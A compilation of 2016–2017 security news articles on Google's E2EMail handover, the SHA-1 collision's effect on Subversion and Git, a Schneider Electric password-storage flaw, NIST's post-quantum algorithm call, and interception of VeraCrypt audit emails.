“E2EMail in its current incarnation uses a bare-bones central keyserver for testing, but the recent Key Transparency announcement is crucial to its further evolution,” continues the post. “Key discovery and distribution lie at the heart of the usability challenges that OpenPGP implementations have faced. Key Transparency delivers a solid, scalable, and thus practical solution, replacing the problematic web-of-trust model traditionally used with PGP.”


Google Hands Over Email Encryption App to Community

27.2.2017 securityweek Krypto

Google announced last week that it has decided to hand over its E2EMail email encryption app to the community.

The tech giant first announced its End-to-End email encryption project in June 2014 and released its source code a few months later. The goal was to create a Chrome extension that would make it easier for less tech savvy people to encrypt their emails using the OpenPGP standard.

The End-to-End crypto library has been used for several projects, including E2EMail, a Gmail client that runs independently of the normal Gmail interface and allows users to send and receive encrypted emails.

The E2EMail source code has been available on GitHub for the past year and it has received contributions from several security engineers. The search giant has now announced that E2EMail is not a Google product and instead it has become a “fully community-driven open source project.”

Since a long time has passed and a Chrome extension is still not ready for general use, some believe this may actually be Google’s way of saying that it has abandoned the project, especially since no changes have been made to the code in the past months.

On the other hand, Google did say that it is looking forward to working “alongside the community” to integrate E2EMail with other projects, such as the recently announced Key Transparency.

“E2EMail in its current incarnation uses a bare-bones central keyserver for testing, but the recent Key Transparency announcement is crucial to its further evolution,” Google employees said in a blog post. “Key discovery and distribution lie at the heart of the usability challenges that OpenPGP implementations have faced. Key Transparency delivers a solid, scalable, and thus practical solution, replacing the problematic web-of-trust model traditionally used with PGP.”


Apache Subversion System Affected by SHA-1 Collision

27.2.2017 securityweek Krypto

The successful SHA-1 collision attack announced last week by Google and CWI appears to have a serious impact on repositories that use the Apache Subversion (SVN) software versioning and revision control system.

Developers of the WebKit web browser engine noticed severe problems after attempting to add a test for the SHA-1 collision to their project. Uploading the example collision PDF files provided by Google caused their SVN repository to become corrupted and prevent further commits.

Google has posted an update to the SHAttered website to warn SVN users of the risks, and Apache Subversion developers have created a tool designed to prevent PDF files such as the ones provided by Google from being committed.

The search giant has so far only published two PDF documents that prove SHA-1 collisions are possible (i.e. the files have the same SHA-1 hash, but different content). However, after 90 days, the company will release the code that allows anyone to create such PDFs.

Finding SHA-1 collisions still requires significant resources – it would cost an attacker at least $110,000 worth of computing power via Amazon’s cloud services – but it’s still 100,000 times faster compared to a brute-force attack.

The SHAttered attack also impacts the Git distributed version control system, which relies on SHA-1 for identifying and checking the integrity of file objects and commits.

However, “the sky isn’t falling,” according to Linux kernel creator Linus Torvalds. Torvalds pointed out that there is a big difference between using SHA-1 for security and using it for generating identifiers for systems such as Git.

Nevertheless, steps have already been taken to mitigate these types of attacks, and Torvalds says Git will eventually transition to a more secure cryptographic hash function.

“There's a plan, it doesn't look all that nasty, and you don't even have to convert your repository,” Torvalds said in a post on Google+. “There's a lot of details to this, and it will take time, but because of the issues above, it's not like this is a critical ‘it has to happen now thing’.”

In addition to version control systems, collision attacks pose a serious threat to digital certificates, email signatures, software updates, vendor signatures, backup systems and ISO checksums. Major vendors have already started moving away from SHA-1, including Google, Facebook, Microsoft and Mozilla.


Schneider Data Center Monitoring Product Leaks Passwords

1.2.2017 securityweek Krypto
Schneider Electric has released an update for its StruxureWare Data Center Expert software suite to address a high severity vulnerability related to how the product stores passwords.

StruxureWare Data Center Expert is a DCIM (Data Center Infrastructure Management) solution designed for monitoring physical infrastructure, including security, power and the environment. The product has been used by financial institutions, media companies, insurers, and healthcare organizations.

Researchers at Positive Technologies discovered that the software stores passwords in cleartext in the random access memory (RAM), allowing a remote attacker to obtain the valuable information.

“A hacker could use this flaw to penetrate the internal network at a data center, obtain confidential information, or even cause physical harm,” explained Ilya Karpov, head of the ICS Research and Audit Unit at Positive Technologies. “Data Center Infrastructure Management (DCIM) platforms have the 'keys to the kingdom' at a data center, since they are connected to all installed systems.”

“A vulnerability such as this threatens the functioning of critical systems on which data centers depend: video surveillance, fire suppression, backup generators and generator control units, switches, pumps, UPS systems, and precision cooling,” Karpov added.

SAVE THE DATE: ICS Cyber Security Conference | Singapore - April 25-27, 2017

The flaw affects StruxureWare Data Center Expert 7.3.1 and prior, and it has been addressed with the release of version 7.4.0.

While ICS-CERT has not released an advisory for this weakness, the organization did disclose other Schneider Electric vulnerabilities in the past two weeks.

Users have been warned of a medium severity cross-site scripting (XSS) vulnerability in the homeLYnk logic controller for home automation, and a high severity credentials management issue (i.e. default passwords) affecting Wonderware Historian.

Schneider rolled out a firmware update to patch the XSS flaw in the homeLYnk controller, and provided mitigation advice for the Wonderware Historian security hole.


NIST Calls Development of Quantum-Proof Encryption Algorithms
22.12.2016 thehackernews Krypto
Quantum Computers – Boon or Bane?
Quantum computers can perform operations much more quickly and efficiently even with the use of less energy than conventional computers, but that's bad news for encryption — a process which scrambles data according to a massively complex mathematical code.
In theory, quantum computers can break almost all the existing encryption algorithms used on the Internet today due to their immense computing power.
Quantum computers are not just in theories; they're becoming a reality.


With countries like China that holds the top two position in the world's most powerful supercomputers (Sunway TaihuLight and Tianhe-2), followed by the United States' Titan, the day is not far when Quantum computers will work on an industrial scale.
Although it's hard to move quantum computing to an industrial scale, it has become a matter of concern for the United States' National Institute of Standards and Technology (NIST) over the fact that "if large-scale quantum computers are ever built, they will be able to break many of the public-key cryptosystems currently in use."
Although Quantum computers are not yet in action, we have seen evidence of the NSA's practical ability to crack some cryptography standards available today with its $11 billion-per-year budget dedicated to "groundbreaking cryptanalytic capabilities."
To tackle this situation, NIST has issued a Federal Register notice Tuesday, requesting private sector and academic cryptographers for help in writing new encryption standards that are sophisticated and powerful enough to withstand quantum computers' cracking attempts.
NIST announced that it would be accepting submissions from the candidates until 30th November 2017.
"With the public's participation," NIST's Cryptographic Technology Group says in a blog post, "NIST intends to spend the next few years gathering, testing and ultimately recommending new algorithms that would be less susceptible to a quantum computer's attack."
In the past deploying Quantum Computers on a large scale was just a theoretical possibility, but after some prototypes of quantum computing, many computer scientists now believes that the arrival of the quantum computing era is near.


But before today's very early prototypes grow into something more practical, NIST has to prepare its "information security systems to be able to resist quantum computing."
In a series of documents called the Federal Information Processing Standards (FIPS), NIST has also published the minimum standards for cryptographic technologies used by the United States government.
The list contains recommended NIST-approved algorithms for various encryption standards used to secure data, communications, and identity.
NIST-approved algorithms are widely used and are considered the gold standard for cryptography and would take hundreds of years to brute-force with currently available conventional computers.
But those algorithms are expected to be much more vulnerable to the advanced power of quantum computers, therefore calling NIST to develop quantum-proofed encryption algorithms.
The development of "new public-key cryptography standards will specify one or more additional unclassified, publicly disclosed digital signature, public-key encryption, and key establishment algorithms that are capable of protecting sensitive government information well into the foreseeable future, including after the advent of quantum computers," the agency says.
Submission of encryption algorithms will close on November 30 next year. After that period, NIST will review the proposals, and the selected candidate will be invited to present their quantum-proof public key cryptography algorithms at a workshop in early 2018.


Someone is Spying on Researchers Behind VeraCrypt Security Audit
17.8.2016 thehackernews Krypto
After TrueCrypt mysteriously discontinued itself, VeraCrypt became the most popular open source disk encryption software used by activists, journalists, and privacy conscious people.
Due to the huge popularity of VeraCrypt, security researchers from the OSTIF (The Open Source Technology Improvement Fund) announced at the beginning of this month that it had agreed to audit VeraCrypt independently.
Using funds donated by DuckDuckGo and VikingVPN, the OSTIC hired vulnerability researchers from QuarksLab to lead the audit, which would look for zero-day vulnerabilities and other security holes in VeraCrypt's code.
Now, the most troubling part comes here:
The OSTIF announced Saturday that its confidential PGP-encrypted communications with QuarkLabs about the security audit of VeraCrypt were mysteriously intercepted.
"We have now had a total of four email messages disappear without a trace, stemming from multiple independent senders." the OSTIF said. "Not only have the emails not arrived, but there is no trace of the emails in our "sent" folders. In the case of OSTIF, this is the Google Apps business version of Gmail where these sent emails have disappeared."
The information linked to the VeraCrypt security audit is so confidential that the OSTIF instructed QuarksLab research team to give "any results of this audit directly to the lead developer of VeraCrypt using heavily encrypted communications."
This strict instruction was suggested at the beginning of this project to prevent the zero-day vulnerabilities from going into wrong hands or snoopers.
The team of researchers behind this security audit hopes to go public with their findings in mid-September after reporting all the detected vulnerabilities, if any, in VeraCrypt to its original authors and get them patched.
Until then, all the participants of the VeraCrypt Audit Project are required to maintain the utmost secrecy.
However, the sudden disappearance of four PGP-encoded email messages, each sent by independent parties involved in the project, has raised concerned about the leakage of confidential data, including weaknesses found in VeraCrypt.
The OSTIF suspects some outsiders are attempting to listen in on and/or interfere with the VeraCrypt security audit process.
"If nation-states are interested in what we are doing we must be doing something right," the OSTIF concludes.
Now, the OSTIF has switched to an alternative (undisclosed) encrypted communications process in order to move forward with the VeraCrypt audit project.
For more information Stay Tuned!